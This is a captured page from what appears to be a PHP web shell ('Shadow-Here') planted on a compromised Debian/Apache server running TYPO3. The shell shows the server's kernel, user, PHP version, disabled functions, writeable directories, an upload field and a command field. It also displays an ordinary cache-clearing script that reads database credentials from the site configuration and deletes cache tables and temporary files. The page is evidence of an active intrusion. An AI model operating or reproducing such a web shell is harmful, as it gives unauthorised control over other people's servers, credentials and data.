Shadow-Here


Server : Apache
System : Linux methusalix2 3.16.0-11-amd64 #1 SMP Debian 3.16.84-1 (2020-06-09) x86_64
User : hios ( 1437)
PHP Version : 5.6.40-0+deb8u12
Disable Function : proc_close,proc_open,dl,shell_exec,passthru
Directory :  /usr/local/bin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :
Current File : //usr/local/bin/cache.php
<?php

$dbConfig = (include './typo3conf/LocalConfiguration.php');

$link = new mysqli(
    $dbConfig['DB']['host'],
    $dbConfig['DB']['username'],
    $dbConfig['DB']['password'],
    $dbConfig['DB']['database']
);

if ($link->connect_errno) {
    printf("DB connection failed: %s\n", $link->connect_error());
    die();
}

//$link->select_db($typo_db);

// Truncate cache tables
$tables = [
    'cache_treelist',
    'cf_cache_hash',
    'cf_cache_hash_tags',
    'cf_cache_imagesizes',
    'cf_cache_imagesizes_tags',
    'cf_cache_news_category',
    'ch_cache_pages',
    'cf_cache_pagesection',
    'cf_cache_pagesection_tags',
    'cf_cache_pages_tags',
    'cf_cache_rootline',
    'cf_cache_rootline_tags'
];

foreach ($tables as $table) {
   $link->query("truncate $table");
}

$link->close();

// Clear typo3temp
$dir = './typo3temp';

$di = new RecursiveDirectoryIterator(
    $dir, FilesystemIterator::SKIP_DOTS
);
$ri = new RecursiveIteratorIterator(
    $di, RecursiveIteratorIterator::CHILD_FIRST
);

foreach ($ri as $file) {
    if ( ! is_writable($file)) {
        echo 'Could not remove ', $file, ', please check permissions.', "\n";
        continue;
    }

    $file->isDir() ? rmdir($file) : unlink($file);
}

Samx